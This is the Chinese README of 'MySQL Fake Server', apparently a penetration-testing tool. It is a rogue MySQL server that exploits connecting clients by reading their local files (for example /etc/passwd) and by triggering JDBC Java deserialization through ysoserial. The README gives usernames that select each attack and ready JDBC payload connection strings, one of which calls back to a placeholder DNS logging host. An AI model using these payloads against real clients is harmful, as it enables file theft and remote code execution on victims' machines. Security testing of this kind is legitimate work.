MySQL Fake Server

用于渗透测试过程中的假MySQL服务器,纯原生python3实现,不依赖其它包。

用途

MySQL服务端读取客户端文件漏洞利用

MySQL JDBC客户端Java反序列化漏洞利用

说明

需要python3环境,无任何其它依赖。

根据登录用户名返回文件读取利用报文、反序列化利用报文。

需要ysoserial才能用反序列化功能,支持ServerStatusDiffInterceptor和detectCustomCollations两种方式。

MySQL的用户名支持冒号、斜杠等特殊符号,但是能否使用还需看具体客户端环境。

运行:python server.py

config.ini中预置了一部分配置信息

测试环境:

jdk1.8.20+mysql-connector-java 8.0.14/5.1.22(Windows下反序列化(JRE8u20)、文件读取)

PHPMyAdmin(Windows+Linux文件读取,可以使用相对路径读取php文件内容)

Navicat 12(Windows下文件读取,需要切换到mysql_clear_password认证插件)

使用方法

文件读取:

可以在config.json中fileread节中预定义好要读取的文件,key为用户名,value为要读取的文件名

可以用fileread_开头的用户名(例如使用用户名fileread_/etc/passwd来读取/etc/passwd文件)

反序列化

可在config.json中yso节预定义好yso payload的生成参数,key为用户名,value为ysoserial的参数

可以用yso_开头的用户名,格式yso_payload类型_命令(例如jdk7u21调用calc就使用用户名yso_Jdk7u21_calc)

jdbc连接串示例:

jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_Jdk7u21_calc

jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_URLDNS_http://yourdns.log.addr/

关于认证:默认认证插件一般使用mysql_native_password,但是由于议实现的问题,navicat下会连接失败,此时在使用的用户名后追加 _clear 即可切换为mysql_clear_password,navicat连接成功,读取到文件。

例如: fileread_/etc/passwd_clear

效果

Navicat文件读取(用户名使用win_ini_clear)

image-20200414150112426.png

JDK 1.8.20+mysql-connector-java 8.0.14反序列化,使用用户名:yso_JRE8u20_calc

image-20200414150417471.png

踩过的坑

SHOW VARIABLES 相关

会读取两列,所以需要返回两列,否则会报错。

JDBC连接的时候回通过调用SHOW VARIABLES获取服务器变量,其中最重要的是两个时区变量system_time_zone和time_zone,在getObject过程,会调用到时区相关信息,没有这两个会直接报错

jdbc的Blob判定条件除了字段类型为blob,还要求字段声明的org_table字段不为空,flags大于128,否则会被当做text进行解析。(com.mysql.cj.protocol.a.NativeProtocol的findMysqlType方法)

原python-mysqlproto中的序列检测需要去掉,否则会出错(这个应该是哪里处理有问题导致了序号重置)。

SHOW SESSION STATUS和SHOW COLLATION的公用列是第二列

mysql java connector 5.x的环境下,需要返回的server版本大于等于5.0.0才会走到Util.resultSetToMap进入getObject

招聘了招聘~

360云安全团队目前大量招聘中,欢迎各位大佬投递简历,大家一起来愉快地玩耍~^_^

参考资料

项目基础:

漏洞相关:

协议相关:

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐